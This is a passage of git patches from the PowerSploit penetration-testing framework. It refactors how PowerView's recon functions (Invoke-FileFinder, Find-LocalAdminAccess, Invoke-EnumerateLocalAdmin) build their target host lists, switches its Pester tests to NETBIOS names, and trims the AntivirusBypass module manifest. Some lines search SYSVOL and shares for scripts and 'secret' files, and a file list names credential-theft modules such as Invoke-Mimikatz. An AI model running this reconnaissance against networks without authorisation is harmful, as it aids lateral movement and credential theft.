Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.count) -eq 0) { @@ -9621,18 +9631,6 @@ function Invoke-FileFinder { } } - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } - # if we're hard-passed a set of shares if($ShareList) { ForEach ($Item in Get-Content -Path $ShareList) { @@ -9643,34 +9641,51 @@ function Invoke-FileFinder { } } } - if($SearchSYSVOL) { - ForEach ($Domain in $TargetDomains) { - $DCSearchPath = "\\$Domain\SYSVOL\" - Write-Verbose "[*] Adding share search path $DCSearchPath" - $Shares += $DCSearchPath - } - if(!$Terms) { - # search for interesting scripts on SYSVOL - $Terms = @('.vbs', '.bat', '.ps1') - } - } else { - # if we're using a host list, read the targets in and add them to the target list + # if we're using a host file list, read the targets in and add them to the target list if($ComputerFile) { $ComputerName = Get-Content -Path $ComputerFile } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) } - } - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + [array]$ComputerName = @() + + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } } } @@ -9953,8 +9968,15 @@ function Find-LocalAdminAccess { $RandNo = New-Object System.Random Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" - + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() + if($Domain) { $TargetDomains = @($Domain) } @@ -9967,18 +9989,11 @@ function Find-LocalAdminAccess { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { @@ -10521,7 +10536,13 @@ function Invoke-EnumerateLocalAdmin { Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + if(!$ComputerName) { + [array]$ComputerName = @() if($Domain) { $TargetDomains = @($Domain) @@ -10535,18 +10556,11 @@ function Invoke-EnumerateLocalAdmin { $TargetDomains = @( (Get-NetDomain).name ) } - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } - else { - [array]$ComputerName = @() - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController } - + # remove any null target hosts, uniquify the list and shuffle it $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } if($($ComputerName.Count) -eq 0) { diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index 3e6679e..8fd3d75 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -163,11 +163,6 @@ Describe "Get-NetLocalGroup" { It "Should accept -GroupName argument" { {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetLocalGroup -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect local administrators returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" @@ -179,7 +174,7 @@ Describe "Get-NetLocalGroup" { } } It "Should accept pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLocalGroup | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -192,11 +187,6 @@ Describe "Get-NetShare" { Throw "Incorrect share results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetShare -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect local administrators returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" @@ -208,7 +198,7 @@ Describe "Get-NetShare" { } } It "Should accept pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetShare | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -221,11 +211,6 @@ Describe "Get-NetLoggedon" { Throw "Incorrect loggedon results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetLoggedon -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect loggedon results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect loggedon results returned" @@ -237,7 +222,7 @@ Describe "Get-NetLoggedon" { } } It "Should accept pipeline input" { - if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLoggedon | Measure-Object).count -lt 1) { + if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) { Throw "Incorrect local administrators returned" } } @@ -250,11 +235,6 @@ Describe "Get-NetSession" { Throw "Incorrect session results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect session results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect session results returned" @@ -269,7 +249,7 @@ Describe "Get-NetSession" { {Get-NetSession -UserName 'Administrator'} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetSession} | Should Not Throw + {"$env:computername" | Get-NetSession} | Should Not Throw } } @@ -280,11 +260,6 @@ Describe "Get-NetRDPSession" { Throw "Incorrect session results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetRDPSession -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect session results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect session results returned" @@ -296,7 +271,7 @@ Describe "Get-NetRDPSession" { } } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetRDPSession} | Should Not Throw + {"$env:computername" | Get-NetRDPSession} | Should Not Throw } } @@ -305,9 +280,6 @@ Describe "Invoke-CheckLocalAdminAccess" { It "Should Not Throw for localhost" { {Invoke-CheckLocalAdminAccess} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw - } It "Should accept NETBIOS -ComputerName argument" { {Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw } @@ -315,7 +287,7 @@ Describe "Invoke-CheckLocalAdminAccess" { {Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Invoke-CheckLocalAdminAccess} | Should Not Throw + {"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw } } @@ -326,11 +298,6 @@ Describe "Get-LastLoggedOn" { Throw "Incorrect loggedon results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-LastLoggedOn -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect loggedon results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect loggedon results returned" @@ -342,7 +309,7 @@ Describe "Get-LastLoggedOn" { } } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-LastLoggedOn} | Should Not Throw + {"$env:computername" | Get-LastLoggedOn} | Should Not Throw } } @@ -351,9 +318,6 @@ Describe "Get-CachedRDPConnection" { It "Should Not Throw" { {Get-CachedRDPConnection} | Should Not Throw } - It "Should accept FQDN -ComputerName argument" { - {Get-CachedRDPConnection -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw - } It "Should accept NETBIOS -ComputerName argument" { {Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw } @@ -361,7 +325,7 @@ Describe "Get-CachedRDPConnection" { {Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw } It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-CachedRDPConnection} | Should Not Throw + {"$env:computername" | Get-CachedRDPConnection} | Should Not Throw } } @@ -372,11 +336,6 @@ Describe "Get-NetProcess" { Throw "Incorrect process results returned" } } - It "Should accept FQDN -ComputerName argument" { - if ( (Get-NetProcess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { - Throw "Incorrect process results returned" - } - } It "Should accept NETBIOS -ComputerName argument" { if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Incorrect process results returned" @@ -389,7 +348,7 @@ Describe "Get-NetProcess" { } # TODO: RemoteUserName/RemotePassword It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Get-NetProcess} | Should Not Throw + {"$env:computername" | Get-NetProcess} | Should Not Throw } } @@ -401,13 +360,13 @@ Describe "Find-InterestingFile" { Describe "Invoke-UserHunter" { It "Should accept -ComputerName argument" { - if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -417,17 +376,12 @@ Describe "Invoke-UserHunter" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing flag" { - if ( (Invoke-UserHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-UserHunter -ShowAll | Measure-Object).count -lt 1) { + if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -437,20 +391,20 @@ Describe "Invoke-UserHunter" { Describe "Invoke-StealthUserHunter" { # simple test of the splatting It "Should accept splatting for Invoke-UserHunter" { - {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-StealthUserHunter -ShowAll -ComputerName "$env:computername"} | Should Not Throw } } Describe "Invoke-ProcessHunter" { It "Should accept -ComputerName and -UserName arguments" { - if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-ProcessHunter -ComputerFile ".\targets.txt" -UserName $env:USERNAME | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -460,14 +414,14 @@ Describe "Invoke-ProcessHunter" { Remove-Item -Force ".\targets.txt" } It "Should accept -ProcessName argument" { - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -ProcessName powershell | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -ProcessName powershell | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -UserFile argument" { "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -476,17 +430,12 @@ Describe "Invoke-ProcessHunter" { Remove-Item -Force ".\target_users.txt" } It "Should accept -NoPing flag" { - if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-ProcessHunter -UserName $env:USERNAME | Measure-Object).count -lt 1) { + if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -495,13 +444,13 @@ Describe "Invoke-ProcessHunter" { Describe "Invoke-ShareFinder" { It "Should accept -ComputerName argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -511,40 +460,35 @@ Describe "Invoke-ShareFinder" { Remove-Item -Force ".\targets.txt" } It "Should accept -ExcludeStandard argument" { - {Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeStandard} | Should Not Throw + {Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeStandard} | Should Not Throw } It "Should accept -ExcludePrint argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludePrint | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludePrint | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -ExcludeIPC argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeIPC | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -ExcludeIPC | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -CheckShareAccess argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckShareAccess | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckShareAccess | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -CheckAdmin argument" { - if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckAdmin | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -ComputerName "$env:computername" -CheckAdmin | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -NoPing argument" { - if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-ShareFinder | Measure-Object).count -lt 1) { + if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -553,11 +497,11 @@ Describe "Invoke-ShareFinder" { Describe "Invoke-FileFinder" { It "Should accept -ComputerName argument" { - {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ComputerName "$env:computername"} | Should Not Throw } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw } } @@ -574,56 +518,53 @@ Describe "Invoke-FileFinder" { Remove-Item -Force ".\shares.txt" } It "Should accept -Terms argument" { - {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -OfficeDocs argument" { - {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -FreshEXEs argument" { - {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -LastAccessTime argument" { - {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -LastWriteTime argument" { - {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -ExcludeFolders argument" { - {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -ExcludeHidden argument" { - {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -CreationTime argument" { - {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -OutFile argument" { - {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "found_files.csv"} | Should Not Throw + {Invoke-FileFinder -ComputerName "$env:computername" -OutFile "found_files.csv"} | Should Not Throw if(Test-Path -Path .\found_files.csv) { $Null = Remove-Item -Force .\found_files.csv } } It "Should accept -NoPing argument" { - {Invoke-FileFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw + {Invoke-FileFinder -NoPing -ComputerName "$env:computername"} | Should Not Throw } It "Should accept -Delay and -Jitter arguments" { - {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain")} | Should Not Throw - } - It "Should accept pipeline input" { - {"$env:computername.$env:userdnsdomain" | Invoke-FileFinder} | Should Not Throw + {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername")} | Should Not Throw } } Describe "Find-LocalAdminAccess" { It "Should accept -ComputerName argument" { - if ( (Find-LocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -633,17 +574,12 @@ Describe "Find-LocalAdminAccess" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing argument" { - if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Find-LocalAdminAccess | Measure-Object).count -lt 1) { + if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } @@ -652,13 +588,13 @@ Describe "Find-LocalAdminAccess" { Describe "Invoke-EnumerateLocalAdmin" { It "Should accept -ComputerName argument" { - if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } try { It "Should accept -ComputerFile argument" { - "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt + "$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } @@ -668,23 +604,18 @@ Describe "Invoke-EnumerateLocalAdmin" { Remove-Item -Force ".\targets.txt" } It "Should accept -NoPing argument" { - if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername" | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Delay and -Jitter arguments" { - if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { + if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername","$env:computername") | Measure-Object).count -lt 1) { Throw "Insuffient results returned" } } It "Should accept -Outfile argument" { - Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "local_admins.csv" + Invoke-EnumerateLocalAdmin -ComputerName "$env:computername" -OutFile "local_admins.csv" ".\local_admins.csv" | Should Exist Remove-Item -Force .\local_admins.csv } - It "Should accept pipeline input" { - if ( ("$env:computername.$env:userdnsdomain" | Invoke-EnumerateLocalAdmin | Measure-Object).count -lt 1) { - Throw "Insuffient results returned" - } - } } -- cgit v1.2.3 From c2a70924e16cd80a1c07d9de82db893b32a4aba9 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 16 Dec 2015 17:07:39 -0800 Subject: Removed all version numbers from scripts Scripts in a module should not be individually versioned. Only the module should be versioned. --- AntivirusBypass/AntivirusBypass.psd1 | 44 -------------------------- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 5 +-- CodeExecution/Invoke-WmiCommand.ps1 | 2 -- Exfiltration/Get-GPPPassword.ps1 | 1 - Exfiltration/Invoke-CredentialInjection.ps1 | 1 - Exfiltration/Invoke-Mimikatz.ps1 | 14 ++------ Exfiltration/Invoke-NinjaCopy.ps1 | 2 -- Exfiltration/Invoke-TokenManipulation.ps1 | 2 -- Exfiltration/VolumeShadowCopyTools.ps1 | 4 --- PowerSploit.psd1 | 3 +- Recon/Invoke-Portscan.ps1 | 4 --- 11 files changed, 5 insertions(+), 77 deletions(-) (limited to 'Recon') diff --git a/AntivirusBypass/AntivirusBypass.psd1 b/AntivirusBypass/AntivirusBypass.psd1 index 29949c1..507cfdb 100644 --- a/AntivirusBypass/AntivirusBypass.psd1 +++ b/AntivirusBypass/AntivirusBypass.psd1 @@ -1,5 +1,4 @@ @{ - # Script module or binary module file associated with this manifest. ModuleToProcess = 'AntivirusBypass.psm1' @@ -24,39 +23,6 @@ Description = 'PowerSploit Antivirus Avoidance/Bypass Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' @@ -74,14 +40,4 @@ ModuleList = @(@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID # List of all files packaged with this module FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - 